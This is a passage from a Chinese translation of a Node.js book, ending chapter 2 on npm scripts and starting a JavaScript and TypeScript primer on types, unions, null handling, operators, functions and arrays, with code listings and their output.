
提示

&& 分隔的命令会顺序执行。由单个 & 分隔的命令会并行执行。

自定义命令使用 npm run 执行,如 列表 2.22 所示:

列表 2.22:执行自定义脚本命令

npm run go 

自定义命令的名称跟随 npm run,因此 npm run go 执行自定义的 go 命令,产生以下输出:

Message: This is the new message 

摘要

在本章中,我解释了为本书做准备的基本设置过程,并介绍了核心 Node.js 工具:

  • Node.js 开发需要 Node.js 安装程序、Git 版本控制系统以及一个 JavaScript/TypeScript 代码编辑器,例如 Visual Studio Code。

  • 使用 node 命令执行 JavaScript 文件。

  • Node.js 提供的大部分功能都是通过它提供的 API 展示的,这正是本书的主题。

  • node 包管理器npm)用于下载 JavaScript 包、执行命令、运行开发工具和启动单元测试。

在下一章中,我将提供一个基础,描述了遵循本书示例所需的必要 JavaScript 和 TypeScript 功能。

第三章:JavaScript 和 TypeScript 入门

开发者通过多种途径进入网络应用程序开发的世界,并不总是基于网络应用程序所依赖的基本技术。在本章中,我介绍了 JavaScript 和 TypeScript 的基本功能。这并不是这两种语言的全面指南,但它涵盖了关键内容,并会为你提供开始所需的知识。

准备本章内容

为了准备本章,在方便的位置创建一个名为 primer 的文件夹。导航到 primer 文件夹并运行 清单 3.1 中显示的命令。

清单 3.1:准备项目文件夹

npm init --yes 

primer 文件夹中运行 清单 3.2 中显示的命令以安装本章中使用的开发包。

清单 3.2:安装开发包

npm install nodemon@2.0.20
npm install tsc-watch@6.0.4
npm install typescript@5.2.2
npm install @tsconfig/node20@20.1.4
npm install @types/node@20.6.1 

在本章开始时将使用 nodemon 包来监控和执行 JavaScript 文件。tsc-watc1h 包对 TypeScript 文件做同样的事情,而 typescript 包包含 TypeScript 编译器。@tsconfig/node20 包包含用于 Node.js 项目的 TypeScript 编译器的配置设置。

清单 3.3 所示,替换 package.json 文件中的 scripts 部分,这将使其更容易使用开发包。

清单 3.3:替换 primer 文件夹中 package.json 文件中的脚本部分

{
  "name": "primer",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
   ** "use_js": "nodemon",**
 **"****use_ts": "tsc-watch --onSuccess \"node index.js\""**
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "@tsconfig/node20": "²⁰.1.4",
    "@types/node": "²⁰.6.1",
    "nodemon": "².0.20",
    "tsc-watch": "⁶.0.4",
    "typescript": "⁵.2.2"
  }
} 

primer 文件夹中添加一个名为 tsconfig.json 的文件,其内容如 清单 3.4 所示,这将为适用于 Node.js 项目的 TypeScript 编译器创建一个基本配置。

清单 3.4:primer 文件夹中 tsconfig.json 文件的内容

{
    "extends": "@tsconfig/node20/tsconfig.json"
} 

primer 文件夹中添加一个名为 index.js 的文件,其内容如 清单 3.5 所示。

清单 3.5:primer 文件夹中 index.js 文件的内容

console.log("Hello, World"); 

primer 文件夹中运行 清单 3.6 中显示的命令以开始监控和执行 JavaScript 文件。

清单 3.6:启动开发工具

npm run use_js 

监视器将生成类似以下内容的输出,并将包括 清单 3.5 中语句编写的消息:

[nodemon] 2.0.20
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node index.js`
**Hello, World**
[nodemon] clean exit - waiting for changes before restart 

任何对 index.js 文件的更改都将由 nodemon 包检测,并由 Node.js 运行时执行。

理解 JavaScript 的困惑

JavaScript 是一种令人难以置信的语言,它一直是网络应用程序开发的变革引擎。我喜欢 JavaScript,并且愿意向任何愚蠢到询问的人赞美它的优点;它是我使用过的最流畅和最具表现力的语言之一。

话虽如此,JavaScript 略显奇特,它会引起困惑。乍一看,JavaScript 看起来像任何其他编程语言,这给对语言新手程序员带来了一种自信感。但这种自信不会持续太久,并且不久之后,Stack Overflow 上的独立搜索就会开始。

JavaScript 与其他主流语言不同。要看到最令人困惑的特性,将 index.js 文件的内容替换为 清单 3.7 中显示的代码。

清单 3.7:替换 primer 文件夹中 index.js 文件的内容

**function sum(first, second) {**
 **return first + second;**
**}**
**let result =** **sum(10, 10);**
**console.log(`Result value: ${result}, Result type: ${typeof result}`);**
**result = sum(****10, "10");**
**console.log(`Result value: ${result}, Result type: ${typeof result}`);** 

保存更改后,文件的内容将被执行,产生以下结果:

Result value: 20, Result type: number
Result value: 1010, Result type: string 

有两个对名为 sum 的函数的调用,JavaScript 允许使用不同的类型作为函数参数。第一个调用使用两个数字值(1010)。第二个调用使用一个数字值(10)和一个字符串值("10")。

JavaScript 是 动态类型,这意味着变量不受特定类型值的限制,任何类型的值都可以分配给任何变量,包括函数参数。

如果你查看 清单 3.7 生成的输出,你会看到函数结果异常不同,并且具有不同的类型:

Result value: **20**, Result type: **number**
Result value: **1010**, Result type: **string** 

JavaScript 也是 弱类型,这意味着值将被隐式转换,以便它们可以一起使用,这个过程称为 类型强制转换。这可以是一个方便的特性,但它可能导致意外的结果,因为值根据执行的操作以不同的方式被强制转换。当 + 运算符应用于一对 number 值时,JavaScript 将两个值相加以产生一个 number 值。如果 + 运算符应用于 stringnumber 值,那么 JavaScript 将 number 值转换为 string 并连接值以产生一个 string 结果。这就是为什么 "10" + 10 产生 string 结果 1010,而 10 + 10 产生数字结果 20

使用 JavaScript 特性表达类型预期

JavaScript 处理数据类型的方式可能会令人困惑,尤其是在初次使用该语言时,但一旦你理解了发生了什么,其行为就是一致和可预测的。

一个更大的问题是,可能很难传达编写 JavaScript 代码时使用的假设和预期。sum 函数非常简单,但更复杂的函数可能会很难确定预期的数据类型和返回的数据类型。

JavaScript 提供了检查类型的特性,可以用来强制类型预期,如 清单 3.8 所示。

清单 3.8:在 primer 文件夹中的 index.js 文件中检查类型

function sum(first, second) {
   ** if (typeof first == "number" && typeof second == "number") {**
 **return** **first + second;**
 **}**
 **throw Error("Expected two numbers");**
}
let result = sum(10, 10);
console.log(`Result value: ${result}, Result type: ${typeof result}`);
result = sum(10, "10");
console.log(`Result value: ${result}, Result type: ${typeof result}`); 

使用 typeof 关键字检查两个参数都是 number 值,并在接收到任何其他类型时使用 throw 关键字创建错误。当代码执行时,对 sum 函数的第一个调用是成功的,但第二个调用失败了:

Result value: 20, Result type: number
C:\primer\index.js:5
    throw Error("Expected two numbers");
    ^
Error: Expected two numbers at sum (C:\primer\index.js:5:11) 

这类类型检查是有效的,但它们仅在 JavaScript 代码执行时应用,这意味着需要进行彻底的测试,以确保 sum 函数没有被错误类型调用。

使用 JavaScript 检查类型预期

TypeScript 并没有改变 JavaScript 类型系统的工作方式,但它确实使表达和强制类型期望变得更加容易,因此可以更容易地找到并解决类型不匹配。将一个名为 index.ts 的文件添加到 primer 文件夹中,其内容如 列表 3.9 所示。

列表 3.9:primer 文件夹中 index.ts 文件的内容

function sum(first: number, second: number) {
    return first + second;
}
let result = sum(10, "10");
console.log(`Result value: ${result}, Result type: ${typeof result}`);
result = sum(10, 10);
console.log(`Result value: ${result}, Result type: ${typeof result}`); 

使用 Control+C 停止执行 JavaScript 代码的 npm 命令,并在 primer 文件夹中运行 列表 3.10 中显示的命令以启动运行 TypeScript 的命令。

列表 3.10:启动 TypeScript 工具

npm run use_ts 

TypeScript 编译器处理 index.ts 文件的内容并生成以下错误:

index.ts(5,22): error TS2345: Argument of type 'string' is not assignable to parameter of type 'number'. 

sum 函数的参数被添加了 类型注解,这告诉 TypeScript 编译器 sum 函数期望只接收 number 类型的值。编译器检查函数调用时使用的参数值,并报告错误,因为其中一个参数不是 number 类型。

注意

如果你正在使用 Visual Studio Code,你可能会在编辑器窗口中看到一个错误,显示消息 Cannot redeclare block-scoped variable。这发生在 TypeScript 和 JavaScript 文件都打开进行编辑时。如果你关闭 JavaScript 文件,错误将会消失。

使用类型联合

在注解中使用单个类型,如 number,会使 JavaScript 的行为更像其他编程语言,但会限制动态 JavaScript 类型系统的某些灵活性。JavaScript 代码可以编写来有意支持多种类型,如 列表 3.11 所示。

列表 3.11. 在 primer 文件夹中的 index.ts 文件中支持多种类型

**function sum(first: number, second: number) {**
 **if** **(typeof second == "string") {**
 **return first + Number.parseInt(second);**
 **} else {**
 **return first + second;**
 **}**
**}**
let result = sum(10, "10");
console.log(`Result value: ${result}, Result type: ${typeof result}`);
result = sum(10, 10);
console.log(`Result value: ${result}, Result type: ${typeof result}`); 

sum 函数会检查第二个参数是否为字符串值,如果是,则使用内置的 Number.parseInt 函数将其转换为 number 值。

这导致了函数的功能与应用于参数的类型注解之间的不匹配,因此编译器产生与 列表 3.10 相同的错误。这种不匹配可以使用 类型联合 来解决,如 列表 3.12 所示。

列表 3.12:在 primer 文件夹中的 index.ts 文件中使用类型联合

**function sum(first: number, second: number | string) {**
    if (typeof second == "string") {
        return first + Number.parseInt(second);
    } else {
        return first + second;       
    }
}
let result = sum(10, "10");
console.log(`Result value: ${result}, Result type: ${typeof result}`);
result = sum(10, 10);
console.log(`Result value: ${result}, Result type: ${typeof result}`); 

使用竖线(| 字符)来组合类型,因此 number | string 告诉编译器第二个参数可以是 number 值或 string 值。TypeScript 检查 sum 函数的所有使用情况,并发现所有用作参数的类型都与类型注解匹配。代码执行时产生以下输出:

Result value: 20, Result type: number
Result value: 20, Result type: number 

TypeScript 编译器非常聪明,它使用 typeof 关键字等 JavaScript 特性来了解类型的使用情况。列表 3.13 修改了 sum 函数的实现,使得 string 值不再与 number 值分开处理。

列表 3.13:在 primer 文件夹中的 index.ts 文件中更改函数

function sum(first: number, second: number | string) {
   ** return first + second;**
}
let result = sum(10, "10");
console.log(`Result value: ${result}, Result type: ${typeof result}`);
result = sum(10, 10);
console.log(`Result value: ${result}, Result type: ${typeof result}`); 

TypeScript 编译器知道当 JavaScript 将加法运算符应用于两个 number 值或 stringnumber 时,JavaScript 会执行不同的操作,这意味着这个语句会产生一个歧义的结果:

...
return first + second;       
... 

TypeScript 的设计目的是为了避免歧义,当编译代码时,编译器将生成以下错误:

index.ts(2,12): error TS2365: Operator '+' cannot be applied to types 'number' and 'string | number'. 

TypeScript 的目的仅仅是突出潜在的问题,而不是强制执行任何特定的解决方案。列表 3.13 中的代码是合法的 JavaScript,但 TypeScript 编译器生成了错误,因为在 sum 函数内部使用参数值的方式与应用于参数的类型注解之间存在不匹配。

解决这个问题的方法之一是回到 列表 3.12 中的代码,如果 sum 函数想要在不进行类型强制转换的情况下处理 numberstring 值,这是合理的。另一种方法是告诉编译器歧义是故意的,如 列表 3.14 所示,如果需要类型强制转换,这是合理的。

列表 3.14:在 primer 文件夹中的 index.ts 文件中解决歧义

function sum(first: number, second: number | string) {
    **return first + (second as any);**
}
let result = sum(10, "10");
console.log(`Result value: ${result}, Result type: ${typeof result}`);
result = sum(10, 10);
console.log(`Result value: ${result}, Result type: ${typeof result}`); 

as 关键字告诉 TypeScript 编译器其对 second 值的了解不完整,并且应该将其视为我指定的类型。在这种情况下,我指定了 any 类型,这相当于告诉 TypeScript 预期存在歧义,并阻止它产生错误。此代码产生以下输出:

Result value: 1010, Result type: string
Result value: 20, Result type: number 

应该谨慎使用 as 关键字,因为 TypeScript 编译器非常复杂,通常对数据类型的使用有很好的理解。同样,使用 any 类型可能是危险的,因为它本质上阻止 TypeScript 编译器检查类型。当你告诉 TypeScript 编译器你对代码了解得更多时,你需要确保你是正确的;否则,你将回到导致 TypeScript 最初引入的运行时错误问题。

理解基本的 TypeScript/JavaScript 功能

现在你已经理解了 TypeScript 和 JavaScript 之间的关系,是时候描述你将需要遵循本书示例的基本语言特性了。这不是 TypeScript 或 JavaScript 的全面指南,但应该足够让你开始。

定义变量和常量

使用 let 关键字定义变量,使用 const 关键字定义一个不会改变的常量值,如 列表 3.15 所示。

列表 3.15:在 primer 文件夹中的 index.ts 文件中定义变量和常量

let condition = true;
let person = "Bob";
const age = 40; 

TypeScript 编译器从分配给每个变量或常量的值推断其类型,如果分配了不同类型的值,将生成错误。类型可以显式指定,如 列表 3.16 所示。

列表 3.16. 在 primer 文件夹中的 index.ts 文件中指定类型

**let condition: boolean = true;**
**let person: string = "Bob";**
**const age: number = 40****;** 

处理未分配和 null 值

在 JavaScript 中,已定义但未赋值的变量将被赋予特殊值 undefined,其类型为 undefined,如 清单 3.17 所示。

清单 3.17:在 primer 文件夹中的 index.ts 文件中定义无值的变量

let condition: boolean = true;
let person: string = "Bob";
const age: number = 40;
let place;
console.log("Place value: " + place + " Type: " + typeof(place));
place = "London";
console.log("Place value: " + place + " Type: " + typeof(place)); 

此代码产生以下输出:

Place value: undefined Type: undefined
Place value: London Type: string 

这种行为单独看起来可能有些不合逻辑,但它与 JavaScript 的其余部分保持一致,其中值有类型,任何值都可以赋给变量。JavaScript 还定义了一个单独的特殊值 null,可以赋给变量以表示无值或结果,如 清单 3.18 所示。

清单 3.18:在 primer 文件夹中的 index.ts 文件中赋值 null

let condition: boolean = true;
let person: string = "Bob";
const age: number = 40;
let place;
console.log("Place value: " + place + " Type: " + typeof(place));
place = "London";
console.log("Place value: " + place + " Type: " + typeof(place));
**place = null;**
**console.log("Place value: " + place + " Type: " + typeof(place));** 

我通常可以提供对 JavaScript 功能工作方式的稳健辩护,但 null 值的奇怪之处使得输出显得有些说不通,这可以从此代码产生的输出中看到:

Place value: undefined Type: undefined
Place value: London Type: string
Place value: null Type: object 

奇怪的是,特殊 null 值的类型是 object。这个 JavaScript 的怪癖可以追溯到 JavaScript 的第一个版本,并且由于大量代码依赖于它,所以一直没有得到解决。抛开这种不一致性,当 TypeScript 编译器处理代码时,它会确定不同类型的值被分配给 place 变量,并推断变量的类型为 any

any 类型允许使用任何类型的值,这实际上禁用了 TypeScript 编译器的类型检查。可以使用类型联合来限制可以使用的值,同时仍然允许使用 undefinednull,如 清单 3.19 所示。

清单 3.19:在 primer 文件夹中的 index.ts 文件中使用类型联合

let condition: boolean = true;
let person: string = "Bob";
const age: number = 40;
**let place: string | undefined** **| null;**
console.log("Place value: " + place + " Type: " + typeof(place));
place = "London";
console.log("Place value: " + place + " Type: " + typeof(place));
place = null;
console.log("Place value: " + place + " Type: " + typeof(place)); 

这种类型联合允许 place 变量被赋予 string 值或 undefinednull。注意,类型联合中指定了 null 的值。此清单产生的输出与 清单 3.18 相同。

使用 JavaScript 原始类型

JavaScript 定义了一组常用原始类型:stringnumberbooleanundefinednull。这似乎是一个简短的列表,但 JavaScript 成功地将大量灵活性融入到这些类型中。(还有 symbolbigint 类型,但这些是 JavaScript 中相对较新的添加,并且使用得不太广泛,本书中也没有使用。)

处理布尔值

boolean 类型有两个值:truefalse清单 3.20 展示了这两个值的使用,但此类型在条件语句(如 if 语句)中使用时最有用。此清单没有输出。

清单 3.20:在 primer 文件夹中的 index.ts 文件中定义 boolean 值

let firstBool = true;
let secondBool = false; 

处理字符串

您可以使用双引号或单引号字符定义 string 值,如 清单 3.21 所示。

清单 3.21:在 primer 文件夹中的 index.ts 文件中定义字符串变量

let firstString = "This is a string";
let secondString = 'And so is this'; 

您使用的引号必须匹配。例如,您不能以单引号开始字符串并以双引号结束。此清单没有输出。

使用模板字符串

常见的编程任务是结合静态内容和数据值以生成可以呈现给用户的字符串。JavaScript 支持 模板字符串,允许在静态内容中指定数据值,如 清单 3.22 所示。

清单 3.22:在 primer 文件夹中的 index.ts 文件中使用模板字符串

let place: string | undefined | null;
console.log(`Place value: ${place} Type: ${typeof(place)}`); 

模板字符串以反引号(` 字符)开始和结束,数据值由美元符号前缀的括号表示。例如,此字符串将 place 变量的值及其类型合并到模板字符串中:

...
console.log(`Place value: ${place} Type: ${typeof(place)}`);
... 

此示例产生以下输出:

Place value: undefined Type: undefined 

处理数字

number 类型用于表示整数和浮点数,如 清单 3.23 所示。

清单 3.23:在 primer 文件夹中的 index.ts 文件中定义数字值

let daysInWeek = 7;
let pi = 3.14;
let hexValue = 0xFFFF; 

您无需指定使用哪种类型的数字。您只需表达所需的价值,JavaScript 将相应地处理。在清单中,我定义了一个整数值,定义了一个浮点数值,并在值前加上 0x 以表示十六进制值。清单 3.23 不会产生任何输出。

处理 null 和 undefined 值

nullundefined 值没有特性,例如属性或方法,但 JavaScript 采取的异常方法意味着您只能将这些值分配给类型为包含 nullundefined 的联合类型的变量,如 清单 3.24 所示。

清单 3.24:在 primer 文件夹中的 index.ts 文件中分配 null 和 undefined 值

let person1 = "Alice";
let person2: string | undefined = "Bob"; 

TypeScript 编译器会将 person1 变量的类型推断为 string,因为分配给它的值的类型是 string。此变量不能分配 nullundefined 值。

person2 变量使用类型注解定义,指定 stringundefined 值。此变量可以分配 undefined 但不能分配 null,因为 null 不是类型联合的一部分。清单 3.24 不会产生任何输出。

使用 JavaScript 运算符

JavaScript 定义了一个相当标准的运算符集,其中最有用的将在以下章节中描述。

使用条件语句

许多 JavaScript 运算符都与条件语句一起使用。在这本书中,我倾向于使用 if/else,但 JavaScript 也支持 switch 语句,清单 3.25 展示了两种语句的使用,如果您几乎与任何编程语言都合作过,这将很熟悉。

清单 3.25:在 primer 文件夹中的 index.ts 文件中使用 if/else 和 switch 条件语句

let firstName = "Adam";
if (firstName == "Adam") {
    console.log("firstName is Adam");
} else if (firstName == "Jacqui") {
    console.log("firstName is Jacqui");
} else {
    console.log("firstName is neither Adam or Jacqui");
}
switch (firstName) {
    case "Adam":
        console.log("firstName is Adam");
        break;
    case "Jacqui":
        console.log("firstName is Jacqui");
        break;
    default:
        console.log("firstName is neither Adam or Jacqui");
        break;
} 

清单的结果如下:

firstName is Adam
firstName is Adam 

等式运算符与身份运算符

在 JavaScript 中,等价运算符(==)将尝试将操作数转换为相同的类型以评估相等性。这可以是一个有用的功能,但它被广泛误解,并且经常导致意外的结果。清单 3.26显示了等价运算符的作用。

清单 3.26:在入门文件夹中的 index.ts 文件中使用等价运算符

let firstVal: any = 5;
let secondVal: any = "5";
if (firstVal == secondVal) {
    console.log("They are the same");
} else {
    console.log("They are NOT the same");
} 

这段代码的输出如下:

They are the same 

JavaScript 会将两个操作数转换为相同的类型并比较它们。本质上,等价运算符测试值是否相同,而不管它们的类型如何。

如果你想要确保值和类型都相同,那么你需要使用身份运算符(===,三个等号,而不是等价运算符的两个等号),如清单 3.27所示。

清单 3.27:在入门文件夹中的 index.ts 文件中使用身份运算符

let firstVal: any = 5;
let secondVal: any = "5";
**if (firstVal === secondVal) {**
    console.log("They are the same");
} else {
    console.log("They are NOT the same");
} 

在这个例子中,身份运算符将认为两个变量是不同的。这个运算符不会强制类型转换。这段代码的结果如下:

They are NOT the same 

为了演示 JavaScript 的工作原理,我不得不在声明firstValsecondVal变量时使用any类型,因为 TypeScript 限制了等价运算符的使用,使其只能用于相同类型的两个值。清单 3.28移除了变量类型注释,并允许 TypeScript 从分配的值中推断类型。

清单 3.28:在入门文件夹中的 index.ts 文件中移除类型注释

**let firstVal = 5;**
**let** **secondVal = "5";**
if (firstVal === secondVal) {
    console.log("They are the same");
} else {
    console.log("They are NOT the same");
} 

TypeScript 编译器检测到变量类型不同,并生成以下错误:

index.ts(4,5): error TS2367: This comparison appears to be unintentional because the types 'number' and 'string' have no overlap 

理解真值和假值

类型转换的一个重要后果是 JavaScript 的真值。一个真值是在转换为布尔值时评估为true的值,而一个假值是在转换为布尔值时评估为false的值。除了false0-0""(空字符串)、nullundefinedNaN之外,每个值都是真值。

这个功能通常用于检查一个变量是否已分配了值,你将在后面的章节中看到许多例子,就像这个表达式一样:

`...`
`if (customer) {`
`...` 

这是一种查看值是否已分配值的有用方法,尤其是在查询数据库或处理从用户接收到的数据时。不要被这种表达式所诱惑:

`...`
`if (customer == true) {`
`...` 

在这个表达式中,类型转换应用于true值,而不是分配给customer的任何值,这不太可能产生预期的结果。

使用 null 和 nullish 合并运算符

逻辑或运算符(||)在 JavaScript 中传统上被用作空合并运算符,允许使用回退值代替nullundefined值,如清单 3.29所示。

清单 3.29:在入门文件夹中的 index.ts 文件中使用 null 合并运算符

let val1: string | undefined;
let val2: string | undefined = "London";
let coalesced1 = val1 || "fallback value";
let coalesced2 = val2 || "fallback value";
console.log(`Result 1: ${coalesced1}`);
console.log(`Result 2: ${coalesced2}`); 

|| 操作符如果左侧操作数评估为真值则返回左侧操作数,否则返回右侧操作数。当操作符应用于 val1 时,返回右侧操作数,因为没有为变量赋值,意味着它是 undefined。当操作符应用于 val2 时,返回左侧操作数,因为变量已被赋值为字符串 London,这评估为真值。此代码产生以下输出:

Result 1: fallback value
Result 2: London 

以这种方式使用 || 操作符的问题在于,真值和假值可能会产生意外的结果,如 列表 3.30 所示。

列表 3.30:在 primer 文件夹中的 index.ts 文件中意外的空合并运算结果

let val1: string | undefined;
let val2: string | undefined = "London";
**let val3: number |** **undefined = 0;**
let coalesced1 = val1 || "fallback value";
let coalesced2 = val2 || "fallback value";
**let coalesced3 = val3 || 100;**
console.log(`Result 1: ${coalesced1}`);
console.log(`Result 2: ${coalesced2}`);
**console.log(`Result 3: ${coalesced3}****`);** 

新的合并操作返回回退值,即使 val3 变量既不是 null 也不是 undefined,因为 0 被评估为假值。代码产生以下结果:

Result 1: fallback value
Result 2: London
Result 3: 100 

空合并操作符(??)通过仅在左侧操作数为 nullundefined 时返回右侧操作数来解决此问题,如 列表 3.31 所示。

列表 3.31:在 primer 文件夹中的 index.ts 文件中使用空合并操作符

let val1: string | undefined;
let val2: string | undefined = "London";
let val3: number | undefined = 0;
**let coalesced1 = val1 ?? "fallback value";**
**let coalesced2 = val2 ?? "fallback value";**
**let coalesced3 = val3 ?? 100;**
console.log(`Result 1: ${coalesced1}`);
console.log(`Result 2: ${coalesced2}`);
console.log(`Result 3: ${coalesced3}`); 

空操作符不考虑真值和假值结果,只查找 nullundefined 值。此代码产生以下输出:

Result 1: fallback value
Result 2: London
Result 3: 0 

使用可选链操作符

如前所述,TypeScript 不会允许将 nullundefined 赋值给变量,除非它们已经被定义为合适的类型联合。此外,TypeScript 只允许使用联合中所有类型定义的方法和属性。

这种功能组合意味着在使用联合中任何其他类型提供的功能之前,您必须保护 nullundefined 值,如 列表 3.32 所示。

列表 3.32:在 primer 文件夹中的 index.ts 文件中防止 nullundefined

let count: number | undefined | null = 100;
if (count != null && count != undefined) {
    let result1: string = count.toFixed(2);
    console.log(`Result 1: ${result1}`);
} 

要调用 toFixed 方法,我必须确保 count 变量没有被赋值为 nullundefined。TypeScript 编译器理解 if 语句中的表达式含义,并且知道排除 nullundefined 值意味着分配给 count 的值必须是 number 类型,这意味着可以安全地使用 toFixed 方法。此代码产生以下输出:

Result 1: 100.00 

可选链操作符(? 字符)简化了保护过程,如 列表 3.33 所示。

列表 3.33:在 primer 文件夹中的 index.ts 文件中使用可选链操作符

let count: number | undefined | null = 100;
if (count != null && count != undefined) {
    let result1: string = count.toFixed(2);
    console.log(`Result 1: ${result1}`);
}
**let result2: string | undefined = count?.toFixed(****2);**
**console.log(`Result 2: ${result2}`);** 

操作符应用于变量和方法调用之间,如果值是 nullundefined,则返回 undefined,从而防止调用方法:

...
let result2: string | undefined = count?.toFixed(2);
... 

如果值不是nullundefined,则方法调用将按正常进行。包含可选链操作符的表达式的结果是undefined和方法的返回值的类型联合。在这种情况下,联合将是string | undefined,因为toFixed方法返回string清单 3.33中的代码会产生以下输出:

Result 1: 100.00
Result 2: 100.00 

定义和使用函数

当 Node.js 处理 JavaScript 文件时,它会按照定义的顺序执行语句。与大多数语言类似,JavaScript 允许将语句组合成一个函数,该函数不会执行,直到执行调用该函数的语句,如清单 3.34所示。

清单 3.34:在 primer 文件夹中的 index.ts 文件中定义一个函数

function writeValue(val: string | null) {
    console.log(`Value: ${val ?? "Fallback value"}`)
}
writeValue("London");
writeValue(null); 

函数使用function关键字定义,并赋予一个名称。如果一个函数定义了参数,TypeScript 要求类型注解,这些注解用于强制函数使用的统一性。清单 3.34中的函数名为writeValue,它定义了一个可以接受stringnull值的参数。函数内部的语句只有在函数执行时才会执行。清单 3.34中的代码会产生以下输出:

Value: London
Value: Fallback value 

定义可选函数参数

默认情况下,TypeScript 允许函数仅在参数数量与函数定义的参数数量相匹配时被调用。如果你习惯了其他主流语言,这可能会显得很直观,但在 JavaScript 中,无论定义了多少个参数,函数都可以用任意数量的参数来调用。? 字符用于表示可选参数,如清单 3.35所示。

清单 3.35:在 primer 文件夹中的 index.ts 文件中定义一个可选参数

**function writeValue****(val?: string) {**
    console.log(`Value: ${val ?? "Fallback value"}`)
}
writeValue("London");
**writeValue();** 

? 操作符已应用于val参数,这意味着函数可以不带参数或带一个参数被调用。在函数内部,参数类型是string | undefined,因为如果函数不带参数被调用,其值将是undefined

注意

不要将val?: string(这是一个可选参数)与val: string | undefined(这是stringundefined的类型联合)混淆。类型联合要求函数调用时必须带有一个参数,这个参数可能是undefined的值,而可选参数允许函数不带参数被调用。

清单 3.35中的代码会产生以下输出:

Value: London
Value: Fallback value 

定义默认参数值

可以给参数定义一个默认值,当函数不带相应参数被调用时,将使用这个默认值。这是一种避免处理undefined值的有用方法,如清单 3.36所示。

清单 3.36:在 primer 文件夹中的 index.ts 文件中定义一个默认参数值

**function writeValue(val: string = "default value") {**
 **console.log****(`Value: ${val}`)**
**}**
writeValue("London");
writeValue(); 

当函数在没有参数的情况下被调用时,将使用默认值。这意味着示例中参数的类型始终是 string,因此我不必检查 undefined 值。列表 3.36 中的代码产生以下输出:

Value: London
Value: default value 

定义剩余参数

剩余参数 用于在函数调用时捕获任何额外的参数,如列表 3.37 所示。

列表 3.37:在 primer 文件夹中的 index.ts 文件中使用剩余参数

function writeValue(val: string, ...extraInfo: string[]) {
    console.log(`Value: ${val}, Extras: ${extraInfo}`)
}
writeValue("London", "Raining", "Cold");
writeValue("Paris", "Sunny");
writeValue("New York"); 

剩余参数必须是函数定义中的最后一个参数,并且其名称前缀为省略号(三个点,...)。剩余参数是一个数组,任何额外的参数都将被分配到这个数组中。在列表中,该函数将每个额外的参数打印到控制台,产生以下结果:

Value: London, Extras: Raining,Cold
Value: Paris, Extras: Sunny
Value: New York, Extras: 

定义返回结果的函数

你可以通过声明返回数据类型并在函数体中使用 return 关键字从函数中返回结果,如列表 3.38 所示。

列表 3.38:在 primer 文件夹中的 index.ts 文件中返回结果

function composeString(val: string) : string {
    return `Composed string: ${val}`;
}
function writeValue(val?: string) {
    console.log(composeString(val ?? "Fallback value"));
}
writeValue("London");
writeValue(); 

新函数定义了一个参数,即 string,并返回一个结果,也是一个 string。结果类型使用参数后的类型注解定义:

...
function composeString(val: string) **: string** {
... 

TypeScript 将检查 return 关键字的用法,以确保函数返回一个结果,并且结果类型符合预期。此代码产生以下输出:

Composed string: London
Composed string: Fallback value 

将函数作为其他函数的参数使用

JavaScript 函数是值,这意味着你可以将一个函数作为另一个函数的参数使用,如列表 3.39 所示。

列表 3.39:在 primer 文件夹中的 index.ts 文件中将函数作为另一个函数的参数使用

function getUKCapital() : string {
    return "London";
}
function writeCity(f: () => string)  {
    console.log(`City: ${f()}`)
}
writeCity(getUKCapital); 

writeCity 函数定义了一个名为 f 的参数,这是一个它调用来获取要插入到它写入的字符串中的值的函数。TypeScript 要求函数参数必须这样描述,以便声明其参数和结果类型:

...
function writeCity(**f: () => string**)  {
... 

这是 箭头语法,也称为 胖箭头语法lambda 表达式语法。箭头函数有三个部分:括号内的输入参数,然后是一个等号和一个大于号(“箭头”),最后是函数结果。参数函数没有定义任何参数,因此括号是空的。这意味着参数 f 的类型是一个不接受任何参数并返回 string 结果的函数。参数函数在模板字符串中被调用:

...
console.log(`City: ${**f()**}`)
... 

只有具有指定参数和结果组合的函数才能用作 writeCity 的参数。getUKCapital 函数具有正确的特征:

...
writeCity(**getUKCapital**);
... 

注意,这里只使用了函数的名称作为参数。如果你在函数名称后跟括号,writeCity(getUKCapital()),那么你是在告诉 JavaScript 调用 getUKCapital 函数并将结果传递给 writeCity 函数。TypeScript 将检测 getUKCapital 函数的结果与 writeCity 函数定义的参数类型不匹配,并在代码编译时产生错误。列表 3.39中的代码产生以下输出:

City: London 

使用箭头语法定义函数

箭头语法也可以用来定义函数,这是一种在行内定义函数的有用方法,如列表 3.40所示。

列表 3.40:在 primer 文件夹中的 index.ts 文件中定义箭头函数

function getUKCapital() : string {
    return "London";
}
function writeCity(f: () => string)  {
    console.log(`City: ${f()}`)
}
writeCity(getUKCapital);
**writeCity(****() => "Paris");** 

此行内函数不接受任何参数,并返回字面字符串值 Paris,定义了一个可以作为 writeCity 函数参数使用的函数。列表 3.40中的代码产生以下输出:

City: London
City: Paris 

理解值闭包

函数可以使用称为 闭包 的功能访问在周围代码中定义的值,如列表 3.41所示。

列表 3.41:在 primer 文件夹中的 index.ts 文件中使用闭包

function getUKCapital() : string {
    return "London";
}
function writeCity(f: () => string)  {
    console.log(`City: ${f()}`)
}
writeCity(getUKCapital);
writeCity(() => "Paris");
**let myCity = "Rome";**
**writeCity(() => myCity);** 

新的箭头函数返回名为 myCity 的变量的值,该变量在周围的代码中定义。这是一个强大的功能,意味着你不需要在函数上定义参数来传递数据值,但需要注意,因为在使用像 counterindex 这样的常用变量名时,很容易得到意外的结果,你可能没有意识到你正在重用周围代码中的变量名。此示例产生以下输出:

City: London
City: Paris
City: Rome 

操作数组

JavaScript 数组在大多数其他编程语言中的工作方式类似于数组。列表 3.42演示了如何创建和填充一个数组。

列表 3.42:在 primer 文件夹中的 index.ts 文件中创建和填充数组

let myArray = [];
myArray[0] = 100;
myArray[1] = "Adam";
myArray[2] = true; 

我使用字面语法创建了一个新的空数组,使用方括号,并将其分配给名为 myArray 的变量。在后续语句中,我将值分配到数组的各个索引位置。(此列表没有输出。)

在此示例中,有两点需要注意。首先,我在创建数组时不需要声明项目数量。JavaScript 数组会自动调整大小以容纳任何数量的项目。第二点是,我无需声明数组将持有的数据类型。任何 JavaScript 数组都可以持有任何类型的数据混合。在示例中,我已将三个项目分配给数组:numberstringboolean。TypeScript 编译器推断数组的类型为 any[],表示可以持有所有类型值的数组。此示例可以用列表 3.43中显示的类型注解来编写。

